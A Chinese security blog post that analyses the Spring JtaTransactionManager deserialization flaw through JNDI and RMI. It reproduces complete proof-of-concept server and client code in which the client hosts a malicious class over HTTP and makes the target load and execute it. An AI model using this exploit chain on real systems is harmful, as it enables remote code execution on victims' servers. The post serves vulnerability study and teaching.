前尘——三层架构粘合剂的爱恨情愁

阅读量333889

|

发布时间 : 2021-05-08 15:30:33

 

前言

Web后端开发的历史长河中,从JSP,Servlet到SSH(Hibernate,Spring,Struts2)再到SSM(Mybatis,Spring,SpringMVC)再到Springboot(免去配置的SSM一体化)最后到如今的SpringCloud分布式(多个Springboot组成的微服务),Spring一直占领着高地,这是因为后端开发者往往遵守着三层架构的开发准则(持久层,业务层,控制访问层),这三层需要一个中间件将其粘合在一起.
Spring在此过程中无论提供的IOC,AOP又或是单例模式等等无不体现着它对后端开发的贡献.这篇文章将要阐述Spring在其任职期间暴露的安全问题.

 

序列化与反序列化

既然是反序列化漏洞必然要提起的就是序列化与反序列化,如果还有读者对这个概念不清楚请参考上篇文章《前尘——与君再忆CC链》,在Java反序列化漏洞中,序列化和反序列化是理解这些漏洞的基本条件。

 

spring核心模块图

DAO即Data Access缩写,数据访问的意思,其实还有个Integration(集成)
Transactions:即事务对应的jar文件为spring-tx-xxx.jar,这也正是产生漏洞的Jar文件。在整个Spring核心模块中,它位于模块图的左上角,负责跟数据库交互的Dao层。而跟数据库交互的过程中必然会出现事务的问题,spring-tx-xxx.jar则负责对整个事务的处理。

 

RMI

RMI(即Remote Method Invoke 远程方法调用)。在Java中,只要一个类extends了java.rmi.Remote接口,即可成为存在于服务器端的远程对象,供客户端访问并提供一定的服务。JavaDoc描述:Remote 接口用于标识其方法可以从非本地虚拟机上调用的接口。任何远程对象都必须直接或间接实现此接口。只有在“远程接口”(扩展 java.rmi.Remote 的接口)中指定的这些方法才可远程使用。

我最开始用到rmi服务是在开发分布式的Java项目中,一个项目需要访问另一个项目的接口时就需要用到rmi,即远程调用。假设项目A调用项目B的某个接口,则项目B的这个接口执行相应的方法之后将执行的返回值传回项目A。但是最开始令我不解的是:项目A远程rmi项目B的接口,项目B的接口内容为弹出计算器,弹出计算器的操作应该是在项目B的电脑上运行,为什么项目A会被命令执行。后来才发现如果项目B的返回值如果是一个Reference对象,那么这个对象传回项目A时项目A将会执行Reference对象。

 

JNDI

JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。

 

Maven导入

    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-tx</artifactId>
            <version>4.1.4.RELEASE</version>
        </dependency>
    </dependencies>

 

利用代码分析

网上有一段公开利用Spring漏洞的源码,下载下来对其进行深入分析
下载地址:https://github.com/zerothoughts/spring-jndi

利用代码分为服务端和客户端,服务端用来模拟一个Web项目的接口,服务端发送恶意代码。

运行利用代码查看效果

服务端

开启了一个服务端

客户端

在 利用的恶意类中添加弹出计算器语句方便展示利用效果

运行效果展示

服务端弹出了计算器

分析服务端代码

import java.io.*;
import java.net.*;
import java.util.Scanner;

public class ExploitableServer {
    public static void main(String[] args) {
        Scanner input =new Scanner(System.in);
        try {
            System.out.println("请输入服务端监听端口:");
            int serverPort = input.nextInt();
            ServerSocket serverSocket = new ServerSocket(serverPort);
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());                
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);                                    
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");                                    
                    e.printStackTrace();
                }                
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

接受一个用户的输入端口,使用死循环建立一个监听Socket等待连接。当建立连接后,使用IO流将客户端发送的数据进行读取的同时调用其传输对象的readObject方法也就是反序列化方法。这就是服务端的全部内容,其实就是模拟了一个Web端的一个接口,只不过Web端的接口在被调用时自动进行了反序列化。

分析客户端代码

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import java.util.Scanner;

import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;


public class ExploitClient {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        try {
            System.out.println("请输入服务端监听地址:");
            String serverAddress=input.nextLine();
            System.out.println("请输入服务端监听端口:");
            int port = input.nextInt();
            System.out.println("请输入存放恶意类的地址:");
            String localAddress= input.next();

            System.out.println("Starting HTTP server");
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();

            System.out.println("Creating RMI Registry");
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

            System.out.println("Connecting to server "+serverAddress+":"+port);
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");
            String jndiAddress = "rmi://"+localAddress+":1099/Object";

            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);

            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

这是客户端也就是攻击端的主流程代码,逐行分析。使用Scanner类接收用户的输入,得到服务端的地址和监听端口。如果这里是Web项目的话应该是目标系统的接口。然后使用HTTPServer开启一个Web服务,开启的是80端口。然后将 “/“之后路径映射到一个类中进行处理。

将“/”之后的路径进行 截取和获取,然后在本地匹配相应的资源,将匹配到的资源又使用IO流的方式转换成byte数组的方式进行返回。其实这段代码的意思就是提供一个可以被远程下载的功能,类似于Python的SimpleHTTPServer函数。
回归主函数流程

注册一个RMI服务,将恶意类作为被请求的对象,创建一个reference对象,将恶意类封装为reference对象,至于为什么要封装为reference对象请查看上文中RMI的详细介绍。

此为要被传输的恶意对象,循环执行内容,作者自己添加了弹出计算器的操作,这个个人而定。
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

创建一个Spring中JtaTransactionManager对象,调用setter封装的setUserTransactionName函数对UserTransactionName属性进行赋值,上文封装的jndi地址就是值。
再次创建IO流,将封装好的恶意类的reference对象发送给服务端。

主流程分析总结

服务端其实只做了等待监听端口,等待数据到来然后对数据进行反序列化
客户端其实只做了创建spring类的漏洞类,然后使用漏洞类使用rmi调用自己创建的HTTP服务的类,这个类为要执行的代码并且封装为reference对象,造成了命令执行。

分析Spring源码寻找漏洞的关键产生点

readObject中this.initUserTransactionAndTransactionManager();

initUserTransactionAndTransactionManager中的this.userTransaction = this.lookupUserTransaction(this.userTransactionName);

可以看到使用JNDITemplate的lookup方法对目标参数进行rmi的远程调用
从而触发JNDI的RCE导致Spring framework序列化的漏洞产生。

 

总结

spring的IOC和AOP对对象的控制可谓是得心应手,才能作为Web开发中三层架构中必不可缺少的一个框架。后文还会继续跟踪已经公开的反序列化链,
Java反序列化一直是一个 老生常谈的问题,理解这些原理性的知识可以更好的帮助我们找到执行链,你我终有一天也会发现理解事物的本质是如此重要。

本文由雁不过衡阳.原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/240032

安全KER - 有思想的安全新媒体

分享到:微信
+112赞
收藏
雁不过衡阳.
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66